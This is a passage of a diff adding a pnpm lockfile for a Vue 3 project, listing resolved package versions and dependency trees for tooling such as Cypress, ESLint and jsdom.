'@vue/runtime-dom@3.5.3': + dependencies: + '@vue/reactivity': 3.5.3 + '@vue/runtime-core': 3.5.3 + '@vue/shared': 3.5.3 + csstype: 3.1.3 + + '@vue/server-renderer@3.5.3(vue@3.5.3(typescript@4.7.4))': + dependencies: + '@vue/compiler-ssr': 3.5.3 + '@vue/shared': 3.5.3 + vue: 3.5.3(typescript@4.7.4) + + '@vue/shared@3.5.3': {} + + '@vue/test-utils@2.4.6': + dependencies: + js-beautify: 1.15.1 + vue-component-type-helpers: 2.1.6 + + '@vue/tsconfig@0.1.3(@types/node@18.19.50)': + optionalDependencies: + '@types/node': 18.19.50 + + abab@2.0.6: {} + + abbrev@2.0.0: {} + + abort-controller@3.0.0: + dependencies: + event-target-shim: 5.0.1 + + acorn-globals@7.0.1: + dependencies: + acorn: 8.12.1 + acorn-walk: 8.3.3 + + acorn-jsx@5.3.2(acorn@8.12.1): + dependencies: + acorn: 8.12.1 + + acorn-walk@8.3.3: + dependencies: + acorn: 8.12.1 + + acorn@8.12.1: {} + + agent-base@6.0.2: + dependencies: + debug: 4.3.7(supports-color@8.1.1) + transitivePeerDependencies: + - supports-color + + aggregate-error@3.1.0: + dependencies: + clean-stack: 2.2.0 + indent-string: 4.0.0 + + ajv@6.12.6: + dependencies: + fast-deep-equal: 3.1.3 + fast-json-stable-stringify: 2.1.0 + json-schema-traverse: 0.4.1 + uri-js: 4.4.1 + + ansi-colors@4.1.3: {} + + ansi-escapes@4.3.2: + dependencies: + type-fest: 0.21.3 + + ansi-regex@5.0.1: {} + + ansi-regex@6.0.1: {} + + ansi-styles@3.2.1: + dependencies: + color-convert: 1.9.3 + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + ansi-styles@6.2.1: {} + + arch@2.2.0: {} + + archiver-utils@5.0.2: + dependencies: + glob: 10.4.5 + graceful-fs: 4.2.11 + is-stream: 2.0.1 + lazystream: 1.0.1 + lodash: 4.17.21 + normalize-path: 3.0.0 + readable-stream: 4.5.2 + + archiver@7.0.1: + dependencies: + archiver-utils: 5.0.2 + async: 3.2.6 + buffer-crc32: 1.0.0 + readable-stream: 4.5.2 + readdir-glob: 1.1.3 + tar-stream: 3.1.7 + zip-stream: 6.0.1 + + arg@5.0.2: {} + + argparse@2.0.1: {} + + array-buffer-byte-length@1.0.1: + dependencies: + call-bind: 1.0.7 + is-array-buffer: 3.0.4 + + array-union@2.1.0: {} + + arraybuffer.prototype.slice@1.0.3: + dependencies: + array-buffer-byte-length: 1.0.1 + call-bind: 1.0.7 + define-properties: 1.2.1 + es-abstract: 1.23.3 + es-errors: 1.3.0 + get-intrinsic: 1.2.4 + is-array-buffer: 3.0.4 + is-shared-array-buffer: 1.0.3 + + asn1@0.2.6: + dependencies: + safer-buffer: 2.1.2 + + assert-plus@1.0.0: {} + + assertion-error@1.1.0: {} + + astral-regex@2.0.0: {} + + async@3.2.6: {} + + asynckit@0.4.0: {} + + at-least-node@1.0.0: {} + + available-typed-arrays@1.0.7: + dependencies: + possible-typed-array-names: 1.0.0 + + aws-sign2@0.7.0: {} + + aws4@1.13.2: {} + + axios@0.27.2(debug@4.3.4): + dependencies: + follow-redirects: 1.15.9(debug@4.3.4) + form-data: 4.0.0 + transitivePeerDependencies: + - debug + + axios@1.7.7: + dependencies: + follow-redirects: 1.15.9(debug@4.3.4) + form-data: 4.0.0 + proxy-from-env: 1.1.0 + transitivePeerDependencies: + - debug + + b4a@1.6.7: {} + + balanced-match@1.0.2: {} + + bare-events@2.5.0: + optional: true + + base64-js@1.5.1: {} + + bcrypt-pbkdf@1.0.2: + dependencies: + tweetnacl: 0.14.5 + + bezier-easing@2.1.0: {} + + blob-util@2.0.2: {} + + bluebird@3.7.2: {} + + boolbase@1.0.0: {} + + bootstrap@5.3.3(@popperjs/core@2.11.8): + dependencies: + '@popperjs/core': 2.11.8 + + brace-expansion@1.1.11: + dependencies: + balanced-match: 1.0.2 + concat-map: 0.0.1 + + brace-expansion@2.0.1: + dependencies: + balanced-match: 1.0.2 + + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + + buffer-crc32@0.2.13: {} + + buffer-crc32@1.0.0: {} + + buffer@5.7.1: + dependencies: + base64-js: 1.5.1 + ieee754: 1.2.1 + + buffer@6.0.3: + dependencies: + base64-js: 1.5.1 + ieee754: 1.2.1 + + cachedir@2.4.0: {} + + call-bind@1.0.7: + dependencies: + es-define-property: 1.0.0 + es-errors: 1.3.0 + function-bind: 1.1.2 + get-intrinsic: 1.2.4 + set-function-length: 1.2.2 + + callsites@3.1.0: {} + + caseless@0.12.0: {} + + chai@4.5.0: + dependencies: + assertion-error: 1.1.0 + check-error: 1.0.3 + deep-eql: 4.1.4 + get-func-name: 2.0.2 + loupe: 2.3.7 + pathval: 1.1.1 + type-detect: 4.1.0 + + chalk@2.4.2: + dependencies: + ansi-styles: 3.2.1 + escape-string-regexp: 1.0.5 + supports-color: 5.5.0 + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + + check-error@1.0.3: + dependencies: + get-func-name: 2.0.2 + + check-more-types@2.24.0: {} + + ci-info@3.9.0: {} + + clean-stack@2.2.0: {} + + cli-cursor@3.1.0: + dependencies: + restore-cursor: 3.1.0 + + cli-table3@0.6.5: + dependencies: + string-width: 4.2.3 + optionalDependencies: + '@colors/colors': 1.5.0 + + cli-truncate@2.1.0: + dependencies: + slice-ansi: 3.0.0 + string-width: 4.2.3 + + color-convert@1.9.3: + dependencies: + color-name: 1.1.3 + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.3: {} + + color-name@1.1.4: {} + + colorette@2.0.20: {} + + combined-stream@1.0.8: + dependencies: + delayed-stream: 1.0.0 + + commander@10.0.1: {} + + commander@6.2.1: {} + + common-tags@1.8.2: {} + + compress-commons@6.0.2: + dependencies: + crc-32: 1.2.2 + crc32-stream: 6.0.0 + is-stream: 2.0.1 + normalize-path: 3.0.0 + readable-stream: 4.5.2 + + computeds@0.0.1: {} + + concat-map@0.0.1: {} + + config-chain@1.1.13: + dependencies: + ini: 1.3.8 + proto-list: 1.2.4 + + core-util-is@1.0.2: {} + + crc-32@1.2.2: {} + + crc32-stream@6.0.0: + dependencies: + crc-32: 1.2.2 + readable-stream: 4.5.2 + + cross-spawn@6.0.5: + dependencies: + nice-try: 1.0.5 + path-key: 2.0.1 + semver: 5.7.2 + shebang-command: 1.2.0 + which: 1.3.1 + + cross-spawn@7.0.3: + dependencies: + path-key: 3.1.1 + shebang-command: 2.0.0 + which: 2.0.2 + + cssesc@3.0.0: {} + + cssom@0.3.8: {} + + cssom@0.5.0: {} + + cssstyle@2.3.0: + dependencies: + cssom: 0.3.8 + + csstype@3.1.3: {} + + cypress@12.17.4: + dependencies: + '@cypress/request': 2.88.12 + '@cypress/xvfb': 1.2.4(supports-color@8.1.1) + '@types/node': 16.18.108 + '@types/sinonjs__fake-timers': 8.1.1 + '@types/sizzle': 2.3.8 + arch: 2.2.0 + blob-util: 2.0.2 + bluebird: 3.7.2 + buffer: 5.7.1 + cachedir: 2.4.0 + chalk: 4.1.2 + check-more-types: 2.24.0 + cli-cursor: 3.1.0 + cli-table3: 0.6.5 + commander: 6.2.1 + common-tags: 1.8.2 + dayjs: 1.11.13 + debug: 4.3.7(supports-color@8.1.1) + enquirer: 2.4.1 + eventemitter2: 6.4.7 + execa: 4.1.0 + executable: 4.1.1 + extract-zip: 2.0.1(supports-color@8.1.1) + figures: 3.2.0 + fs-extra: 9.1.0 + getos: 3.2.1 + is-ci: 3.0.1 + is-installed-globally: 0.4.0 + lazy-ass: 1.6.0 + listr2: 3.14.0(enquirer@2.4.1) + lodash: 4.17.21 + log-symbols: 4.1.0 + minimist: 1.2.8 + ospath: 1.2.2 + pretty-bytes: 5.6.0 + process: 0.11.10 + proxy-from-env: 1.0.0 + request-progress: 3.0.0 + semver: 7.6.3 + supports-color: 8.1.1 + tmp: 0.2.3 + untildify: 4.0.0 + yauzl: 2.10.0 + + dashdash@1.14.1: + dependencies: + assert-plus: 1.0.0 + + data-urls@3.0.2: + dependencies: + abab: 2.0.6 + whatwg-mimetype: 3.0.0 + whatwg-url: 11.0.0 + + data-view-buffer@1.0.1: + dependencies: + call-bind: 1.0.7 + es-errors: 1.3.0 + is-data-view: 1.0.1 + + data-view-byte-length@1.0.1: + dependencies: + call-bind: 1.0.7 + es-errors: 1.3.0 + is-data-view: 1.0.1 + + data-view-byte-offset@1.0.0: + dependencies: + call-bind: 1.0.7 + es-errors: 1.3.0 + is-data-view: 1.0.1 + + dayjs@1.11.13: {} + + de-indent@1.0.2: {} + + debug@3.2.7(supports-color@8.1.1): + dependencies: + ms: 2.1.3 + optionalDependencies: + supports-color: 8.1.1 + + debug@4.3.4: + dependencies: + ms: 2.1.2 + + debug@4.3.7(supports-color@8.1.1): + dependencies: + ms: 2.1.3 + optionalDependencies: + supports-color: 8.1.1 + + decimal.js@10.4.3: {} + + deep-eql@4.1.4: + dependencies: + type-detect: 4.1.0 + + deep-is@0.1.4: {} + + define-data-property@1.1.4: + dependencies: + es-define-property: 1.0.0 + es-errors: 1.3.0 + gopd: 1.0.1 + + define-properties@1.2.1: + dependencies: + define-data-property: 1.1.4 + has-property-descriptors: 1.0.2 + object-keys: 1.1.1 + + delayed-stream@1.0.0: {} + + dir-glob@3.0.1: + dependencies: + path-type: 4.0.0 + + doctrine@3.0.0: + dependencies: + esutils: 2.0.3 + + domexception@4.0.0: + dependencies: + webidl-conversions: 7.0.0 + + duplexer@0.1.2: {} + + eastasianwidth@0.2.0: {} + + ecc-jsbn@0.1.2: + dependencies: + jsbn: 0.1.1 + safer-buffer: 2.1.2 + + editorconfig@1.0.4: + dependencies: + '@one-ini/wasm': 0.1.1 + commander: 10.0.1 + minimatch: 9.0.1 + semver: 7.6.3 + + emoji-regex@8.0.0: {} + + emoji-regex@9.2.2: {} + + end-of-stream@1.4.4: + dependencies: + once: 1.4.0 + + engine.io-client@6.6.3: + dependencies: + '@socket.io/component-emitter': 3.1.2 + debug: 4.3.7(supports-color@8.1.1) + engine.io-parser: 5.2.3 + ws: 8.17.1 + xmlhttprequest-ssl: 2.1.2 + transitivePeerDependencies: + - bufferutil + - supports-color + - utf-8-validate + + engine.io-parser@5.2.3: {} + + enquirer@2.4.1: + dependencies: + ansi-colors: 4.1.3 + strip-ansi: 6.0.1 + + entities@4.5.0: {} + + error-ex@1.3.2: + dependencies: + is-arrayish: 0.2.1 + + es-abstract@1.23.3: + dependencies: + array-buffer-byte-length: 1.0.1 + arraybuffer.prototype.slice: 1.0.3 + available-typed-arrays: 1.0.7 + call-bind: 1.0.7 + data-view-buffer: 1.0.1 + data-view-byte-length: 1.0.1 + data-view-byte-offset: 1.0.0 + es-define-property: 1.0.0 + es-errors: 1.3.0 + es-object-atoms: 1.0.0 + es-set-tostringtag: 2.0.3 + es-to-primitive: 1.2.1 + function.prototype.name: 1.1.6 + get-intrinsic: 1.2.4 + get-symbol-description: 1.0.2 + globalthis: 1.0.4 + gopd: 1.0.1 + has-property-descriptors: 1.0.2 + has-proto: 1.0.3 + has-symbols: 1.0.3 + hasown: 2.0.2 + internal-slot: 1.0.7 + is-array-buffer: 3.0.4 + is-callable: 1.2.7 + is-data-view: 1.0.1 + is-negative-zero: 2.0.3 + is-regex: 1.1.4 + is-shared-array-buffer: 1.0.3 + is-string: 1.0.7 + is-typed-array: 1.1.13 + is-weakref: 1.0.2 + object-inspect: 1.13.2 + object-keys: 1.1.1 + object.assign: 4.1.5 + regexp.prototype.flags: 1.5.2 + safe-array-concat: 1.1.2 + safe-regex-test: 1.0.3 + string.prototype.trim: 1.2.9 + string.prototype.trimend: 1.0.8 + string.prototype.trimstart: 1.0.8 + typed-array-buffer: 1.0.2 + typed-array-byte-length: 1.0.1 + typed-array-byte-offset: 1.0.2 + typed-array-length: 1.0.6 + unbox-primitive: 1.0.2 + which-typed-array: 1.1.15 + + es-define-property@1.0.0: + dependencies: + get-intrinsic: 1.2.4 + + es-errors@1.3.0: {} + + es-object-atoms@1.0.0: + dependencies: + es-errors: 1.3.0 + + es-set-tostringtag@2.0.3: + dependencies: + get-intrinsic: 1.2.4 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + es-to-primitive@1.2.1: + dependencies: + is-callable: 1.2.7 + is-date-object: 1.0.5 + is-symbol: 1.0.4 + + esbuild@0.18.20: + optionalDependencies: + '@esbuild/android-arm': 0.18.20 + '@esbuild/android-arm64': 0.18.20 + '@esbuild/android-x64': 0.18.20 + '@esbuild/darwin-arm64': 0.18.20 + '@esbuild/darwin-x64': 0.18.20 + '@esbuild/freebsd-arm64': 0.18.20 + '@esbuild/freebsd-x64': 0.18.20 + '@esbuild/linux-arm': 0.18.20 + '@esbuild/linux-arm64': 0.18.20 + '@esbuild/linux-ia32': 0.18.20 + '@esbuild/linux-loong64': 0.18.20 + '@esbuild/linux-mips64el': 0.18.20 + '@esbuild/linux-ppc64': 0.18.20 + '@esbuild/linux-riscv64': 0.18.20 + '@esbuild/linux-s390x': 0.18.20 + '@esbuild/linux-x64': 0.18.20 + '@esbuild/netbsd-x64': 0.18.20 + '@esbuild/openbsd-x64': 0.18.20 + '@esbuild/sunos-x64': 0.18.20 + '@esbuild/win32-arm64': 0.18.20 + '@esbuild/win32-ia32': 0.18.20 + '@esbuild/win32-x64': 0.18.20 + + escape-string-regexp@1.0.5: {} + + escape-string-regexp@4.0.0: {} + + escodegen@2.1.0: + dependencies: + esprima: 4.0.1 + estraverse: 5.3.0 + esutils: 2.0.3 + optionalDependencies: + source-map: 0.6.1 + + eslint-config-prettier@8.10.0(eslint@8.57.0): + dependencies: + eslint: 8.57.0 + + eslint-plugin-cypress@2.15.2(eslint@8.57.0): + dependencies: + eslint: 8.57.0 + globals: 13.24.0 + + eslint-plugin-prettier@4.2.1(eslint-config-prettier@8.10.0(eslint@8.57.0))(eslint@8.57.0)(prettier@2.8.8): + dependencies: + eslint: 8.57.0 + prettier: 2.8.8 + prettier-linter-helpers: 1.0.0 + optionalDependencies: + eslint-config-prettier: 8.10.0(eslint@8.57.0) + + eslint-plugin-vue@9.28.0(eslint@8.57.0): + dependencies: + '@eslint-community/eslint-utils': 4.4.0(eslint@8.57.0) + eslint: 8.57.0 + globals: 13.24.0 + natural-compare: 1.4.0 + nth-check: 2.1.1 + postcss-selector-parser: 6.1.2 + semver: 7.6.3 + vue-eslint-parser: 9.4.3(eslint@8.57.0) + xml-name-validator: 4.0.0 + transitivePeerDependencies: + - supports-color + + eslint-scope@5.1.1: + dependencies: + esrecurse: 4.3.0 + estraverse: 4.3.0 + + eslint-scope@7.2.2: + dependencies: + esrecurse: 4.3.0 + estraverse: 5.3.0 + + eslint-visitor-keys@3.4.3: {} + + eslint@8.57.0: + dependencies: + '@eslint-community/eslint-utils': 4.4.0(eslint@8.57.0) + '@eslint-community/regexpp': 4.11.0 + '@eslint/eslintrc': 2.1.4 + '@eslint/js': 8.57.0 + '@humanwhocodes/config-array': 0.11.14 + '@humanwhocodes/module-importer': 1.0.1 + '@nodelib/fs.walk': 1.2.8 + '@ungap/structured-clone': 1.2.0 + ajv: 6.12.6 + chalk: 4.1.2 + cross-spawn: 7.0.3 + debug: 4.3.7(supports-color@8.1.1) + doctrine: 3.0.0 + escape-string-regexp: 4.0.0 + eslint-scope: 7.2.2 + eslint-visitor-keys: 3.4.3 + espree: 9.6.1 + esquery: 1.6.0 + esutils: 2.0.3 + fast-deep-equal: 3.1.3 + file-entry-cache: 6.0.1 + find-up: 5.0.0 + glob-parent: 6.0.2 + globals: 13.24.0 + graphemer: 1.4.0 + ignore: 5.3.2 + imurmurhash: 0.1.4 + is-glob: 4.0.3 + is-path-inside: 3.0.3 + js-yaml: 4.1.0 + json-stable-stringify-without-jsonify: 1.0.1 + levn: 0.4.1 + lodash.merge: 4.6.2 + minimatch: 3.1.2 + natural-compare: 1.4.0 + optionator: 0.9.4 + strip-ansi: 6.0.1 + text-table: 0.2.0 + transitivePeerDependencies: + - supports-color + + espree@9.6.1: + dependencies: + acorn: 8.12.1 + acorn-jsx: 5.3.2(acorn@8.12.1) + eslint-visitor-keys: 3.4.3 + + esprima@4.0.1: {} + + esquery@1.6.0: + dependencies: + estraverse: 5.3.0 + + esrecurse@4.3.0: + dependencies: + estraverse: 5.3.0 + + estraverse@4.3.0: {} + + estraverse@5.3.0: {} + + estree-walker@2.0.2: {} + + esutils@2.0.3: {} + + event-stream@3.3.4: + dependencies: + duplexer: 0.1.2 + from: 0.1.7 + map-stream: 0.1.0 + pause-stream: 0.0.11 + split: 0.3.3 + stream-combiner: 0.0.4 + through: 2.3.8 + + event-target-shim@5.0.1: {} + + eventemitter2@6.4.7: {} + + events@3.3.0: {} + + execa@4.1.0: + dependencies: + cross-spawn: 7.0.3 + get-stream: 5.2.0 + human-signals: 1.1.1 + is-stream: 2.0.1 + merge-stream: 2.0.0 + npm-run-path: 4.0.1 + onetime: 5.1.2 + signal-exit: 3.0.7 + strip-final-newline: 2.0.0 + + execa@5.1.1: + dependencies: + cross-spawn: 7.0.3 + get-stream: 6.0.1 + human-signals: 2.1.0 + is-stream: 2.0.1 + merge-stream: 2.0.0 + npm-run-path: 4.0.1 + onetime: 5.1.2 + signal-exit: 3.0.7 + strip-final-newline: 2.0.0 + + executable@4.1.1: + dependencies: + pify: 2.3.0 + + extend@3.0.2: {} + + extract-zip@2.0.1(supports-color@8.1.1): + dependencies: + debug: 4.3.7(supports-color@8.1.1) + get-stream: 5.2.0 + yauzl: 2.10.0 + optionalDependencies: + '@types/yauzl': 2.10.3 + transitivePeerDependencies: + - supports-color + + extsprintf@1.3.0: {} + + fast-deep-equal@3.1.3: {} + + fast-diff@1.3.0: {} + + fast-fifo@1.3.2: {} + + fast-glob@3.3.2: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-json-stable-stringify@2.1.0: {} + + fast-levenshtein@2.0.6: {} + + fastq@1.17.1: + dependencies: + reusify: 1.0.4 + + fd-slicer@1.1.0: + dependencies: + pend: 1.2.0 + + figures@3.2.0: + dependencies: + escape-string-regexp: 1.0.5 + + file-entry-cache@6.0.1: + dependencies: + flat-cache: 3.2.0 + + fill-range@7.1.1: + dependencies: + to-regex-range: 5.0.1 + + find-up@5.0.0: + dependencies: + locate-path: 6.0.0 + path-exists: 4.0.0 + + flat-cache@3.2.0: + dependencies: + flatted: 3.3.1 + keyv: 4.5.4 + rimraf: 3.0.2 + + flatted@3.3.1: {} + + follow-redirects@1.15.9(debug@4.3.4): + optionalDependencies: + debug: 4.3.4 + + for-each@0.3.3: + dependencies: + is-callable: 1.2.7 + + foreground-child@3.3.0: + dependencies: + cross-spawn: 7.0.3 + signal-exit: 4.1.0 + + forever-agent@0.6.1: {} + + form-data@2.3.3: + dependencies: + asynckit: 0.4.0 + combined-stream: 1.0.8 + mime-types: 2.1.35 + + form-data@4.0.0: + dependencies: + asynckit: 0.4.0 + combined-stream: 1.0.8 + mime-types: 2.1.35 + + from@0.1.7: {} + + fs-extra@9.1.0: + dependencies: + at-least-node: 1.0.0 + graceful-fs: 4.2.11 + jsonfile: 6.1.0 + universalify: 2.0.1 + + fs.realpath@1.0.0: {} + + fsevents@2.3.3: + optional: true + + function-bind@1.1.2: {} + + function.prototype.name@1.1.6: + dependencies: + call-bind: 1.0.7 + define-properties: 1.2.1 + es-abstract: 1.23.3 + functions-have-names: 1.2.3 + + functions-have-names@1.2.3: {} + + get-func-name@2.0.2: {} + + get-intrinsic@1.2.4: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 + has-proto: 1.0.3 + has-symbols: 1.0.3 + hasown: 2.0.2 + + get-stream@5.2.0: + dependencies: + pump: 3.0.0 + + get-stream@6.0.1: {} + + get-symbol-description@1.0.2: + dependencies: + call-bind: 1.0.7 + es-errors: 1.3.0 + get-intrinsic: 1.2.4 + + getos@3.2.1: + dependencies: + async: 3.2.6 + + getpass@0.1.7: + dependencies: + assert-plus: 1.0.0 + + glob-parent@5.1.2: + dependencies: + is-glob: 4.0.3 + + glob-parent@6.0.2: + dependencies: + is-glob: 4.0.3 + + glob@10.4.5: + dependencies: + foreground-child: 3.3.0 + jackspeak: 3.4.3 + minimatch: 9.0.5 + minipass: 7.1.2 + package-json-from-dist: 1.0.0 + path-scurry: 1.11.1 + + glob@7.2.3: + dependencies: + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 3.1.2 + once: 1.4.0 + path-is-absolute: 1.0.1 + + global-dirs@3.0.1: + dependencies: + ini: 2.0.0 + + globals@13.24.0: + dependencies: + type-fest: 0.20.2 + + globalthis@1.0.4: + dependencies: + define-properties: 1.2.1 + gopd: 1.0.1 + + globby@11.1.0: + dependencies: + array-union: 2.1.0 + dir-glob: 3.0.1 + fast-glob: 3.3.2 + ignore: 5.3.2 + merge2: 1.4.1 + slash: 3.0.0 + + gopd@1.0.1: + dependencies: + get-intrinsic: 1.2.4 + + graceful-fs@4.2.11: {} + + graphemer@1.4.0: {} + + has-bigints@1.0.2: {} + + has-flag@3.0.0: {} + + has-flag@4.0.0: {} + + has-property-descriptors@1.0.2: + dependencies: + es-define-property: 1.0.0 + + has-proto@1.0.3: {} + + has-symbols@1.0.3: {} + + has-tostringtag@1.0.2: + dependencies: + has-symbols: 1.0.3 + + hasown@2.0.2: + dependencies: + function-bind: 1.1.2 + + he@1.2.0: {} + + hosted-git-info@2.8.9: {} + + html-encoding-sniffer@3.0.0: + dependencies: + whatwg-encoding: 2.0.0 + + http-proxy-agent@5.0.0: + dependencies: + '@tootallnate/once': 2.0.0 + agent-base: 6.0.2 + debug: 4.3.7(supports-color@8.1.1) + transitivePeerDependencies: + - supports-color + + http-signature@1.3.6: + dependencies: + assert-plus: 1.0.0 + jsprim: 2.0.2 + sshpk: 1.18.0 + + https-proxy-agent@5.0.1: + dependencies: + agent-base: 6.0.2 + debug: 4.3.7(supports-color@8.1.1) + transitivePeerDependencies: + - supports-color + + human-signals@1.1.1: {} + + human-signals@2.1.0: {} + + iconv-lite@0.6.3: + dependencies: + safer-buffer: 2.1.2 + + ieee754@1.2.1: {} + + ignore@5.3.2: {} + + import-fresh@3.3.0: + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + + imurmurhash@0.1.4: {} + + indent-string@4.0.0: {} + + inflight@1.0.6: + dependencies: + once: 1.4.0 + wrappy: 1.0.2 + + inherits@2.0.4: {} + + ini@1.3.8: {} + + ini@2.0.0: {} + + install@0.13.0: {} + + internal-slot@1.0.7: + dependencies: + es-errors: 1.3.0 + hasown: 2.0.2 + side-channel: 1.0.6 + + is-array-buffer@3.0.4: + dependencies: + call-bind: 1.0.7 + get-intrinsic: 1.2.4 + + is-arrayish@0.2.1: {} + + is-bigint@1.0.4: + dependencies: + has-bigints: 1.0.2 + + is-boolean-object@1.1.2: + dependencies: + call-bind: 1.0.7 + has-tostringtag: 1.0.2 + + is-callable@1.2.7: {} + + is-ci@3.0.1: + dependencies: + ci-info: 3.9.0 + + is-core-module@2.15.1: + dependencies: + hasown: 2.0.2 + + is-data-view@1.0.1: + dependencies: + is-typed-array: 1.1.13 + + is-date-object@1.0.5: + dependencies: + has-tostringtag: 1.0.2 + + is-extglob@2.1.1: {} + + is-fullwidth-code-point@3.0.0: {} + + is-glob@4.0.3: + dependencies: + is-extglob: 2.1.1 + + is-installed-globally@0.4.0: + dependencies: + global-dirs: 3.0.1 + is-path-inside: 3.0.3 + + is-negative-zero@2.0.3: {} + + is-number-object@1.0.7: + dependencies: + has-tostringtag: 1.0.2 + + is-number@7.0.0: {} + + is-path-inside@3.0.3: {} + + is-potential-custom-element-name@1.0.1: {} + + is-regex@1.1.4: + dependencies: + call-bind: 1.0.7 + has-tostringtag: 1.0.2 + + is-shared-array-buffer@1.0.3: + dependencies: + call-bind: 1.0.7 + + is-stream@2.0.1: {} + + is-string@1.0.7: + dependencies: + has-tostringtag: 1.0.2 + + is-symbol@1.0.4: + dependencies: + has-symbols: 1.0.3 + + is-typed-array@1.1.13: + dependencies: + which-typed-array: 1.1.15 + + is-typedarray@1.0.0: {} + + is-unicode-supported@0.1.0: {} + + is-weakref@1.0.2: + dependencies: + call-bind: 1.0.7 + + isarray@1.0.0: {} + + isarray@2.0.5: {} + + isexe@2.0.0: {} + + isstream@0.1.2: {} + + jackspeak@3.4.3: + dependencies: + '@isaacs/cliui': 8.0.2 + optionalDependencies: + '@pkgjs/parseargs': 0.11.0 + + joi@17.13.3: + dependencies: + '@hapi/hoek': 9.3.0 + '@hapi/topo': 5.1.0 + '@sideway/address': 4.1.5 + '@sideway/formula': 3.0.1 + '@sideway/pinpoint': 2.0.0 + + js-beautify@1.15.1: + dependencies: + config-chain: 1.1.13 + editorconfig: 1.0.4 + glob: 10.4.5 + js-cookie: 3.0.5 + nopt: 7.2.1 + + js-cookie@3.0.5: {} + + js-yaml@4.1.0: + dependencies: + argparse: 2.0.1 + + jsbn@0.1.1: {} + + jsdom@20.0.3: + dependencies: + abab: 2.0.6 + acorn: 8.12.1 + acorn-globals: 7.0.1 + cssom: 0.5.0 + cssstyle: 2.3.0 + data-urls: 3.0.2 + decimal.js: 10.4.3 + domexception: 4.0.0 + escodegen: 2.1.0 + form-data: 4.0.0 + html-encoding-sniffer: 3.0.0 + http-proxy-agent: 5.0.0 + https-proxy-agent: 5.0.1 + is-potential-custom-element-name: 1.0.1 + nwsapi: 2.2.12 + parse5: 7.1.2 + saxes: 6.0.0 + symbol-tree: 3.2.4 + tough-cookie: 4.1.4 + w3c-xmlserializer: 4.0.0 + webidl-conversions: 7.0.0 + whatwg-encoding: 2.0.0 + whatwg-mimetype: 3.0.0 + whatwg-url: 11.0.0 + ws: 8.18.0 + xml-name-validator: 4.0.0 + transitivePeerDependencies: + - bufferutil + - supports-color + - utf-8-validate + + json-buffer@3.0.1: {} + + json-parse-better-errors@1.0.2: {} + + json-schema-traverse@0.4.1: {} + + json-schema@0.4.0: {} + + json-stable-stringify-without-jsonify@1.0.1: {} + + json-stringify-safe@5.0.1: {} + + jsonfile@6.1.0: + dependencies: + universalify: 2.0.1 + optionalDependencies: + graceful-fs: 4.2.11 + + jsprim@2.0.2: + dependencies: + assert-plus: 1.0.0 + extsprintf: 1.3.0 + json-schema: 0.4.0 + verror: 1.10.0 + + keyv@4.5.4: + dependencies: + json-buffer: 3.0.1 + + lazy-ass@1.6.0: {} + + lazystream@1.0.1: + dependencies: + readable-stream: 2.3.8 + + levn@0.4.1: + dependencies: + prelude-ls: 1.2.1 + type-check: 0.4.0 + + listr2@3.14.0(enquirer@2.4.1): + dependencies: + cli-truncate: 2.1.0 + colorette: 2.0.20 + log-update: 4.0.0 + p-map: 4.0.0 + rfdc: 1.4.1 + rxjs: 7.8.1 + through: 2.3.8 + wrap-ansi: 7.0.0 + optionalDependencies: + enquirer: 2.4.1 + + load-json-file@4.0.0: + dependencies: + graceful-fs: 4.2.11 + parse-json: 4.0.0 + pify: 3.0.0 + strip-bom: 3.0.0 + + local-pkg@0.4.3: {} + + locate-path@6.0.0: + dependencies: + p-locate: 5.0.0 + + lodash.merge@4.6.2: {} + + lodash.once@4.1.1: {} + + lodash@4.17.21: {} + + log-symbols@4.1.0: + dependencies: + chalk: 4.1.2 + is-unicode-supported: 0.1.0 + + log-update@4.0.0: + dependencies: + ansi-escapes: 4.3.2 + cli-cursor: 3.1.0 + slice-ansi: 4.0.0 + wrap-ansi: 6.2.0 + + loupe@2.3.7: + dependencies: + get-func-name: 2.0.2 + + lru-cache@10.4.3: {} + + magic-string@0.30.11: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.0 + + map-stream@0.1.0: {} + + memorystream@0.3.1: {} + + merge-stream@2.0.0: {} + + merge2@1.4.1: {} + + micromatch@4.0.8: + dependencies: + braces: 3.0.3 + picomatch: 2.3.1 + + mime-db@1.52.0: {} + + mime-types@2.1.35: + dependencies: + mime-db: 1.52.0 + + mimic-fn@2.1.0: {} + + minimatch@3.1.2: + dependencies: + brace-expansion: 1.1.11 + + minimatch@5.1.6: + dependencies: + brace-expansion: 2.0.1 + + minimatch@9.0.1: + dependencies: + brace-expansion: 2.0.1 + + minimatch@9.0.5: + dependencies: + brace-expansion: 2.0.1 + + minimist@1.2.8: {} + + minipass@7.1.2: {} + + mitt@3.0.1: {} + + ms@2.1.2: {} + + ms@2.1.3: {} + + muggle-string@0.3.1: {} + + nanoid@3.3.7: {} + + natural-compare-lite@1.4.0: {} + + natural-compare@1.4.0: {} + + nice-try@1.0.5: {} + + nopt@7.2.1: + dependencies: + abbrev: 2.0.0 + + normalize-package-data@2.5.0: + dependencies: + hosted-git-info: 2.8.9 + resolve: 1.22.8 + semver: 5.7.2 + validate-npm-package-license: 3.0.4 + + normalize-path@3.0.0: {} + + npm-run-all@4.1.5: + dependencies: + ansi-styles: 3.2.1 + chalk: 2.4.2 + cross-spawn: 6.0.5 + memorystream: 0.3.1 + minimatch: 3.1.2 + pidtree: 0.3.1 + read-pkg: 3.0.0 + shell-quote: 1.8.1 + string.prototype.padend: 3.1.6 + + npm-run-path@4.0.1: + dependencies: + path-key: 3.1.1 + + nth-check@2.1.1: + dependencies: + boolbase: 1.0.0 + + nwsapi@2.2.12: {} + + object-inspect@1.13.2: {} + + object-keys@1.1.1: {} + + object.assign@4.1.5: + dependencies: + call-bind: 1.0.7 + define-properties: 1.2.1 + has-symbols: 1.0.3 + object-keys: 1.1.1 + + once@1.4.0: + dependencies: + wrappy: 1.0.2 + + onetime@5.1.2: + dependencies: + mimic-fn: 2.1.0 + + optionator@0.9.4: + 